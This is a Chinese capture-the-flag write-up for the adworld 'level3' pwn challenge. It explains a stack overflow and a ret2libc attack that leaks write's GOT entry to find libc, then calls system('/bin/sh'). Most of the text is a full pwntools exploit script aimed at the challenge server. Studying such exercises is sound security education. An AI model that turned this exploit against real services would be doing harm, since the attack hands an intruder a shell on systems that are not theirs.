WriteUp-adworld(攻防世界)-pwn新手区-level3

0xFF 解开压缩包……

3个嵌套压缩包解开后出来两个文件:
level3
libc_32.so.6

0x00 查询文件基本信息

checksec 发现 : 这是个三无软件……

好…… 我们丢下DIE:

32位程序……
没有壳……可以上IDA。

0x01 静态分析

看到main

跟进vulnerable_function

程序逻辑简单明了……

0x02 攻击思路

看到read可以进行栈溢出攻击……

考虑劫持eip执行system("/bin/sh")……

等等,这个程序里既没有调用system又没有"/bin/sh"字符串。

但是这个程序加载了一个共享库: libc_32.so.6

0x03 分析共享库 : libc_32.so.6

找到system()

找到"/bin/sh"
使用010Editor搜索

("/bin/sh"后面刚好有个0x00)
"/bin/sh" 相对libc_32.so.6
文件头的偏移为 0x15902B (IDA相应地方是代码qwq……)

system 相对libc_32.so.6
文件头的偏移为 0x3A940

所以我们只要想办法知道 libc_32.so.6 的地址
我们就可以成功获取shell……

0x04 泄露 libc_32.so.6 的地址

write 是 level3
调用的外部(共享库中的)函数。

我们可以尝试泄露 level3 GOT 表中的内容来
获取 write 在共享库中的地址。

GOT中 write 对应的条目 在第一次调用 write 函数时会被动态链接器改为
write 的绝对地址

/操作系统-Linux-浅析GOT与PLT /

可以尝试利用栈溢出来调用write(劫持eipwrite)

/需要的eip位置/

我们write泄露出地址之后还不够,还要通过这个地址调用 system()
才行。
所以我们可以把返回的地址(call的时候eip入栈)
回到vulnerable_function的开头,这样我们就可以在泄露write之后
调用system()

所以我们可以这样
根据vulnerable_function的栈

这样构造payload泄露write

from pwn import *


write_addr_in_level3 = p32(0x08048340)
vulnerable_function_addr = p32(0x0804844B)

leak_write_payload1 = "w"*0x88 + p32(0xa5c0ffee) + write_addr_in_level3 + vulnerable_function_addr
#                     padding      ebp             劫持eip要到的位置       调用write后返回的地址

write_got_addr = p32(0x0804A018)

leak_write_payload2 = p32(1)  +  write_got_addr  +  p32(0xa5c0ffee)
# write 的参数传递     1:stdout   指针指向write的got条目  输出的长度

得到write的地址后就可以根据write在libc_32.so.6中的地址计算出
libc_32.so.6的基址,接着就可以计算出system()"/bin/sh"的绝对地址了。

接着我们就可以生成第二次攻击的payload:

write_addr_in_lib = get_write_addr()
write_offset_in_lib = 0x000D43C0

lib_addr = write_addr_in_lib - write_offset_in_lib

binsh_offset_in_lib = 0x15902B 
binsh_addr_in_lib = lib_addr + binsh_offset_in_lib

system_offset_in_lib = 0x3A940
system_addr_in_lib = lib_addr + system_offset_in_lib


pwn_payload = "w"*0x88  + p32(0xACC0FFEE) + p32(system_addr_in_lib)  + p32(0xACC0FFEE)      +      p32(binsh_addr_in_lib)
#             padding      ebp             劫持eip要到的位置 (system)     返回的地址(随便填qwq)      传入"/bin/sh" 当作参数

现在就可以写出完整的exp了:

#coding=utf-8
#文件里有中文注释,要指定编码

from pwn import *

qwq = remote("111.198.29.45", 7777)
#                    ip       port

write_got_addr = p32(0x0804A018)
write_addr_in_level3 = p32(0x08048340)
vulnerable_function_addr = p32(0x0804844B)

leak_write_payload1 = "w"*0x88 + p32(0xACC0FFEE) + write_addr_in_level3 + vulnerable_function_addr
#                     padding      ebp             劫持eip要到的位置       调用write后返回的地址
leak_write_payload2 = p32(1)  +  write_got_addr  +  p32(0xACC0FFEE)
# write 的参数传递     1:stdout   指针指向write的got条目  输出的长度

leak_write_payload = leak_write_payload1 + leak_write_payload2


def get_write_addr():
    qwq.recvline()
    qwq.sendline(leak_write_payload)
    addr = qwq.recv()[0:4]
    return u32(addr)


write_addr_in_lib = get_write_addr()
write_offset_in_lib = 0x000D43C0

lib_addr = write_addr_in_lib - write_offset_in_lib

binsh_offset_in_lib = 0x15902B 
binsh_addr_in_lib = lib_addr + binsh_offset_in_lib

system_offset_in_lib = 0x3A940
system_addr_in_lib = lib_addr + system_offset_in_lib

pwn_payload = "w"*0x88  + p32(0xACC0FFEE) + p32(system_addr_in_lib)  + p32(0xACC0FFEE)      +      p32(binsh_addr_in_lib)
#             padding      ebp             劫持eip要到的位置 (system)     返回的地址(随便填qwq)      传入"/bin/sh" 当作参数

qwq.recvline()
qwq.sendline(pwn_payload)
qwq.interactive()

看看效果:

猜你喜欢

转载自www.cnblogs.com/cloud-tree/p/11929585.html